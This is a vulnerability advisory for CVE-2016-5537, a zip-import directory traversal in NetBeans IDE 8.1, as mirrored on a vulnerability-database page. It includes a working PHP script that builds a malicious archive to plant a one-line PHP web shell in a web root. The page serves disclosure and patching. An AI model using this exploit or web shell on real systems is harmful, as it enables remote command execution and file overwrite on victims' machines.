| Reporter | Title | Published | Views | Family All 17 |
|---|---|---|---|---|
| Unspecified Vulnerability in Oracle Fusion Middleware NetBeans Component | 20 Oct 201600:00 | – | cnvd | |
| CVE-2016-5537 | 25 Oct 201614:00 | – | cve | |
| CVE-2016-5537 | 25 Oct 201614:00 | – | cvelist | |
| CVE-2016-5537 | 25 Oct 201614:00 | – | debiancve | |
| Oracle Netbeans IDE 8.1 - Directory Traversal | 20 Oct 201600:00 | – | exploitdb | |
| EUVD-2016-6481 | 7 Oct 202500:30 | – | euvd | |
| Oracle Netbeans IDE 8.1 - Directory Traversal | 20 Oct 201600:00 | – | exploitpack | |
| CVE-2016-5537 | 25 Oct 201614:30 | – | nvd | |
| Oracle NetBeans IDE Import Directory Traversal Vulnerability - Windows | 16 Nov 201600:00 | – | openvas | |
| Oracle Critical Patch Update - October 2016 | 18 Oct 201600:00 | – | oracle |
[+] Credits: John Page aka hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/ORACLE-NETBEANS-IDE-DIRECTORY-TRAVERSAL.txt
[+] ISR: ApparitionSec
Vendor:
===============
www.oracle.com
Product:
=================
Netbeans IDE v8.1
Vulnerability Type:
=========================
Import Directory Traversal
CVE Reference:
==============
CVE-2016-5537
Vulnerability Details:
=====================
This was part of Oracle Critical Patch Update for October 2016.
Vulnerability in the NetBeans component of Oracle Fusion Middleware
(subcomponent: Project Import).
The supported version that is affected is 8.1. Easily exploitable
vulnerability allows high privileged attacker with logon
to the infrastructure where NetBeans executes to compromise NetBeans. While
the vulnerability is in NetBeans, attacks may significantly
impact additional products. Successful attacks of this vulnerability can
result in unauthorized update, insert or delete access to some
of NetBeans accessible data as well as unauthorized read access to a subset
of NetBeans accessible data and unauthorized ability to cause
a partial denial of service (partial DOS) of NetBeans.
Vulnerability in way Netbeans processes ".zip" archives to be imported as
project. If a user imports a malicious project
containing "../" characters the import will fail, yet still process the
"../". we can then place malicious scripts outside of
the target directory and inside web root if user is running a local server
etc...
It may be possible to then execute remote commands on the affected system
by later visiting the URL and access our script if that
web server is public facing, if it is not then it may still be subject to
abuse internally by internal malicious users. Moreover,
it is also possible to overwrite files on the system hosting vulnerable
versions of NetBeans IDE.
References:
http://www.oracle.com/technetwork/security-advisory/cpuoct2016-2881722.html#AppendixFMW
Exploit Code(s):
=================
<?php
#archive path traversal
#target xampp htdocs as POC
#by hyp3rlinx
#===============================
if($argc<4){echo "Usage: <zip name>, <path depth>, <RCE.php as default?
Y/[file]>";exit();}
$zipname=$argv[1];
$exploit_file="RCE.php";
$cmd='<?php exec($_GET["cmd"]); ?>';
if(!empty($argv[2])&&is_numeric($argv[2])){
$depth=$argv[2];
}else{
echo "Second flag <path depth> must be numeric!, you supplied '$argv[2]'";
exit();
}
if(strtolower($argv[3])!="y"){
if(!empty($argv[3])){
$exploit_file=$argv[3];
}
if(!empty($argv[4])){
$cmd=$argv[4];
}else{
echo "Usage: enter a payload for file $exploit_file wrapped in double
quotes";
exit();
}
}
$zip = new ZipArchive();
$res = $zip->open("$zipname.zip", ZipArchive::CREATE);
$zip->addFromString(str_repeat("..\\",
$depth)."\\xampp\\htdocs\\".$exploit_file, $cmd);
$zip->close();
echo "\r\nExploit archive $zipname.zip created using $exploit_file\r\n";
echo "================ hyp3rlinx ===================";
?>
Disclosure Timeline:
=======================================
Vendor Notification: September 20, 2016
October 20, 2016 : Public Disclosure
Exploitation Technique:
=======================
Local
# 0day.today [2018-01-08] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation